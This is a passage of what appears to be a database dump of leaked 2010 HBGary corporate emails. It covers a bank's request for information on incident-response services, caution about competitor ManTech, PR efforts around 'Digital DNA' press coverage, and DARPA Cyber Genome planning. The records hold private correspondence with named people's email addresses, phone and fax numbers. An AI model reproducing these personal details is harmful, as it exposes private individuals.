needed.&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI explained our &quot;clip&quot; model and our\r\n&quot;partnering&quot; model.&nbsp; He said that he would like us to respond on\r\nthe &quot;clip&quot; and explain our partner model.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe end result is that when they select a vendor they can\r\nrequest them to use the HBGary &quot;clip&quot; if appropriate and they will\r\nhave pricing already in place for that.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt sounds like Foundstone is a vendor of choice (Accuvant is\r\nNOT).&nbsp; He said that Foundstone is already using Responder Pro which I\r\ndidn\'t know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe&nbsp;RFI is due February 12th.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat I need is a technical description of what the\r\n&quot;clip&quot; is, how it is used for IR and eDiscovery,&nbsp; adn\r\npricing.&nbsp; They have ePO and about 17,000 nodes.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Lukach, John &lt;John.Lukach@bankofthewest.com&gt;\r\nDate: Tue, Jan 26, 2010 at 8:46 AM\r\nSubject: Investigation Services\r\nTo: &quot;Lukach, John&quot; &lt;John.Lukach@bankofthewest.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n&nbsp;\r\n\r\nBank\r\nof the West is planning to have a third-party firm on retainer for assistance\r\nwith incident response, forensic analysis, reverse engineering, and eDiscovery\r\nrequests as needed.&nbsp; Your response to this informal Request For\r\nInformation (RFI) should include information to help us understand how you\r\ncould respond to an incident upon request to include: competencies,\r\nproficiencies, techniques, tools, locations, reports, and costs.&nbsp; For each\r\narea, please also provide information regarding your methodology in the\r\nfollowing format.&nbsp; \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPreparation\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInvestigation\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContainment\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nForensics\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEradication\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRecovery\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReporting\r\n\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEducation\r\n\r\n&nbsp;\r\n\r\nPlease\r\nuse the following format for methodologies on eDiscovery requests only.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentification\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPreservation\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCollection\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcessing\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReview\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalysis\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProduction\r\n\r\n&nbsp;\r\n\r\nWe\r\nalso ask that you provide an explanation of what other financial institutions\r\nare requesting in terms of investigation services so we can gain a better\r\nunderstanding of what challenges other organizations in our industry are\r\ncurrently facing.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nPlease\r\nrespond to this RFI no later than end of day, Friday February 12th,\r\n2010.&nbsp; We are looking for prompt responses so we can do another round\r\nof questioning if needed, with vendors that we short-list prior to establishing\r\nan agreement with a vendor.&nbsp; &nbsp;Any questions regarding this process\r\nmay be directed to john.lukach@bankofthewest.com\r\nor 701-298-5144.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\nJohn B. Lukach\r\n\r\nInvestigation Engineer |&nbsp;EnCE CISSP |&nbsp;Enterprise Information\r\nSecurity&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nT: (701) 298-5144 F: (701) 298-5101 |&nbsp;john.lukach@bankofthewest.com\r\n\r\n4321 20th Ave. SW |&nbsp;Fargo, ND 58103\r\n\r\n&nbsp;\r\n\r\nVisit us online at www.bankofthewest.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIMPORTANT NOTICE: This message is intended only for the addressee\r\nand may contain confidential, privileged information. If you are not the\r\nintended recipient, you may not use, copy or disclose any information contained\r\nin the message. If you have received this message in error, please notify the\r\nsender by reply e-mail and delete the message. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',231,'aaron_hbgary_com/231.html'),(1520,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000457.M54291P3547Q1519.eml','aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','FW: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is some feedback on ManTech.&nbsp; You might want to be careful\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, January 26, 2010 9:46 AM\r\nTo: Rich Cummings; Matt O\'Flynn\r\nCc: Penny C. Hoglund\r\nSubject: ManTech\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRich and Matt,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary needs to use extreme caution when dealing with\r\nManTech.&nbsp; Coincidentally, I just called and spoke with&nbsp;Dan Hall of\r\nManTech who told me he drank with Matt and Phil at&nbsp;DC3 last\r\nnight.&nbsp;&nbsp;ManTech&nbsp;views themselves as an HBGary competitor.&nbsp;\r\nThey&nbsp;have developed a suite of memory analysis (Jesse Kornblum) and binary\r\nr/e tools over the years.&nbsp; Their CEO is considering productizing these\r\ntechnologies to grow revenue.&nbsp; Dan&nbsp;thinks ManTech should stick with\r\nservices.&nbsp; But in any case, it would be a&nbsp;long shot for ManTech to\r\nactually put up&nbsp;money to buy HBGary software for either internal or\r\ncustomer&nbsp;services use.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI could see where ManTech might string us along to do\r\ndetailed evaluations, but it would only be to milk us for info, not for actual\r\nmonetary transactions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;I leave open the possibility that we could do\r\nbusiness, but there is a bar of distrust (with us and them) that we would have\r\nto get past.\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12304,'aaron_hbgary_com/12304.html'),(1521,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000457.M711688P3547Q1521.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen you talk to him, please tell him Digital DNA is pending\r\ntrademark approval and we should have it soon\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Tuesday, January 26, 2010 9:27 AM\r\nTo: Aaron Barr\r\nCc: penny@hbgary.com; greg@hbgary.com\r\nSubject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Hi Aaron, I already spoke with reporter Brian Krebs and he\r\n  is interested in the story. I sent&nbsp; him the Wired piece and our Palantir\r\n  announcement, which is a great news hook. That said, I will pitch&nbsp;our\r\n  other key security/government pubs. Aside from our ability to ID hackers,\r\n  anything else that will help advance this story -- are you finding that this\r\n  is an increasingly important&nbsp;technology ability&nbsp;for government\r\n  agencies? Do we work with the Pentagon? Thanks, Karen\r\n  \r\n  --- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Cc: penny@hbgary.com, greg@hbgary.com\r\n  Date: Tuesday, January 26, 2010, 8:09 AM\r\n  \r\n  Is it possible to get in with Wired for an interview\r\n  talking about our existing capabilities? &nbsp;how do we leverage this? \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  On Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    Take a look at this story in today\'s Wired -- do you\r\n    work with DARPA? Are you familiar with its Cyber Genome project? Can\r\n    HBGary\'s Digital DNA already solve this problem?\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    Pentagon\r\n    Searches for ‘Digital DNA’ to Identify Hackers\r\n    \r\n    http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2244,'aaron_hbgary_com/2244.html'),(1522,'2010-01-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000457.M906390P3547Q1522.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','I have linked two news stories that use the term &#39;Digital DNA&#39; in their headlines.  They are on the frontpage of HBGary.\r\n \r\nHey, where is our Palantir announcement, when can I link that???\r\n \r\n-Greg\r\nOn Tue, Jan 26, 2010 at 11:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWhen you talk to him, please tell him Digital DNA is pending trademark approval and we should have it soon\r\n \r\n\r\nFrom: Karen Burke [mailto:karenmaryburke@yahoo.com] Sent: Tuesday, January 26, 2010 9:27 AM\r\nTo: Aaron Barr \r\nCc: penny@hbgary.com; greg@hbgary.com\r\nSubject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nHi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent  him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important technology ability for government agencies? Do we work with the Pentagon? Thanks, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Cc: penny@hbgary.com, greg@hbgary.com\r\nDate: Tuesday, January 26, 2010, 8:09 AM\r\n\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities?  how do we leverage this? \r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n \r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today&#39;s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary&#39;s Digital DNA already solve this problem?\r\n\r\n \r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\n',16122,'aaron_hbgary_com/16122.html'),(1523,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000458.M190468P3547Q1523.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','RE: Pentagon Searches for \'Digital DNA\' to Identify Hackers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat went out yesterday&nbsp; http://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540\r\n\r\n&nbsp;\r\n\r\nCall Aaron and bob asap about the DDNA stuff, we need to be\r\nthere friday\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:26 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Karen Burke; Aaron Barr\r\nSubject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify\r\nHackers\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI have linked two news stories that use the term \'Digital\r\nDNA\' in their headlines.&nbsp; They are on the frontpage of HBGary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey, where is our Palantir announcement, when can I link\r\nthat???\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, Jan 26, 2010 at 11:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWhen you talk to him, please tell him\r\nDigital DNA is pending trademark approval and we should have it soon\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen\r\nBurke [mailto:karenmaryburke@yahoo.com]\r\n\r\nSent: Tuesday, January 26, 2010 9:27 AM\r\nTo: Aaron Barr \r\n\r\n\r\n\r\n\r\nCc: penny@hbgary.com;\r\ngreg@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Pentagon Searches for &#8216;Digital DNA&#8217;\r\nto Identify Hackers\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Hi\r\n  Aaron, I already spoke with reporter Brian Krebs and he is interested in the\r\n  story. I sent&nbsp; him the Wired piece and our Palantir announcement, which\r\n  is a great news hook. That said, I will pitch&nbsp;our other key\r\n  security/government pubs. Aside from our ability to ID hackers, anything else\r\n  that will help advance this story -- are you finding that this is an\r\n  increasingly important&nbsp;technology ability&nbsp;for government agencies?\r\n  Do we work with the Pentagon? Thanks, Karen\r\n  \r\n  --- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify\r\n  Hackers\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Cc: penny@hbgary.com, greg@hbgary.com\r\n  Date: Tuesday, January 26, 2010, 8:09 AM\r\n  \r\n  Is\r\n  it possible to get in with Wired for an interview talking about our existing\r\n  capabilities? &nbsp;how do we leverage this? \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  On\r\n  Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n  \r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    \r\n    Take a look at this story in today\'s Wired -- do you work with DARPA?\r\n    Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA\r\n    already solve this problem?\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    Pentagon Searches for &#8216;Digital DNA&#8217; to\r\n    Identify Hackers\r\n    \r\n    http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Aaron Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11530,'aaron_hbgary_com/11530.html'),(1524,'2010-01-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000458.M423872P3547Q1524.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Palantir announcement is now linked on frontpage.\r\n \r\n-Greg\r\nOn Tue, Jan 26, 2010 at 11:26 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nI have linked two news stories that use the term &#39;Digital DNA&#39; in their headlines.  They are on the frontpage of HBGary.\r\n \r\nHey, where is our Palantir announcement, when can I link that???\r\n \r\n-Greg\r\n\r\n\r\n\r\nOn Tue, Jan 26, 2010 at 11:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWhen you talk to him, please tell him Digital DNA is pending trademark approval and we should have it soon\r\n \r\n\r\nFrom: Karen Burke [mailto:karenmaryburke@yahoo.com] Sent: Tuesday, January 26, 2010 9:27 AM\r\nTo: Aaron Barr \r\nCc: penny@hbgary.com; greg@hbgary.com\r\nSubject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nHi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent  him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important technology ability for government agencies? Do we work with the Pentagon? Thanks, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Cc: penny@hbgary.com, greg@hbgary.com\r\nDate: Tuesday, January 26, 2010, 8:09 AM\r\n\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities?  how do we leverage this? \r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n \r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today&#39;s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary&#39;s Digital DNA already solve this problem?\r\n\r\n \r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\n',827,'aaron_hbgary_com/827.html'),(1525,'2010-01-26','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000458.M652983P3547Q1525.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','This Wired story is getting a lot of pickup on Twitter -- all with \"Digital DNA\" in the tweets. I\'ve gone back to Wired and our key government and security reporters. Will keep you posted. K\r\n&nbsp;\r\n--- On Tue, 1/26/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Tuesday, January 26, 2010, 11:34 AM\r\n\r\nPalantir announcement is now linked on frontpage.\r\n&nbsp;\r\n-Greg\r\nOn Tue, Jan 26, 2010 at 11:26 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nI have linked two news stories that use the term \'Digital DNA\' in their headlines.&nbsp; They are on the frontpage of HBGary.\r\n&nbsp;\r\nHey, where is our Palantir announcement, when can I link that???\r\n&nbsp;\r\n-Greg\r\n\r\n\r\n\r\nOn Tue, Jan 26, 2010 at 11:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWhen you talk to him, please tell him Digital DNA is pending trademark approval and we should have it soon\r\n&nbsp;\r\n\r\nFrom: Karen Burke [mailto:karenmaryburke@yahoo.com] Sent: Tuesday, January 26, 2010 9:27 AMTo: Aaron Barr \r\nCc: penny@hbgary.com; greg@hbgary.com\r\nSubject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nHi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent&nbsp; him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch&nbsp;our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important&nbsp;technology ability&nbsp;for government agencies? Do we work with the Pentagon? Thanks, Karen--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify HackersTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: penny@hbgary.com, greg@hbgary.comDate: Tuesday, January 26, 2010, 8:09 AM\r\n\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities? &nbsp;how do we leverage this? \r\n\r\n&nbsp;\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today\'s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary\'s Digital DNA already solve this problem?\r\n\r\n&nbsp;\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n',12591,'aaron_hbgary_com/12591.html'),(1526,'2010-01-26','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297000458.M877917P3547Q1526.eml','all@hbgary.com','Digital DNA','\r\nLooks like our term is being reused, though I\'m pretty sure we didn\'t\r\ninvent it.\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers\r\n\r\n\r\n- Martin\r\n',9102,'aaron_hbgary_com/9102.html'),(1527,'2010-01-26','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297000459.M147413P3547Q1527.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm 	(aaron@hbgary.com)',' more details &raquo;Cyber Intelligence ConsortiumWhenTue Jan 26 3:30pm – 4:30pm Eastern TimeWherePalantir Office 7th Floor, 8300 Greensboro Dr Tysons Corner, VA 22102 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;brian.masterson@ngc.com&#x2022;msteckman@palantirtech.com&#x2022;john@endgames.us&#x2022;Rich Cummings&#x2022;brian@netwitness.com&#x2022;Bob Slapnik&#x2022;bhornish@splunk.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3273,'aaron_hbgary_com/3273.html'),(1528,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000459.M385242P3547Q1528.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Cyber Genome Program Proposers Day','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve asked Greg to call bob and Aaron.&nbsp; I know Aaron\r\nhas appt&#8217;s at NG with high level people.&nbsp; Greg is definitely willing\r\nto come out and he should be there for both HBgary and HBgary federal.&nbsp;\r\nBob, definitely needs to be there since he has written multiple proposals and\r\nknows the drill. &nbsp;I would imagine if Aaron can&#8217;t get out of his appt&#8217;s\r\nTed should be there.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Monday, January 25, 2010 7:18 PM\r\nTo: \'Bob Slapnik\'; \'Ted Vera\'; \'Penny C. Hoglund\'; \'Greg Hoglund\'\r\nCc: \'Barr Aaron\'; \'Phil Wallisch\'\r\nSubject: RE: Cyber Genome Program Proposers Day\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob, Penny, Greg, Phil,\r\n\r\n&nbsp;\r\n\r\nI called &nbsp;and spoke with Ted and Aaron right after reading\r\nthis as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to\r\ngo.&nbsp; Greg are you interested in going?&nbsp; I&#8217;m putting together a\r\npresentation which I&#8217;ll send over for review.&nbsp; Any input is welcome.\r\n\r\n&nbsp;\r\n\r\nAre these guys reading our email? ;P\r\n\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, January 25, 2010 10:13 PM\r\nTo: Ted Vera; Penny C. Hoglund; Greg Hoglund\r\nCc: Rich Cummings; Barr Aaron; Phil Wallisch\r\nSubject: Re: Cyber Genome Program Proposers Day\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTed, Greg, Penny and Rich,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheck this out.&nbsp; Ted sent out an email about DARPA\'s\r\nupcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from\r\nus?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to\r\ndevelop a Cyber 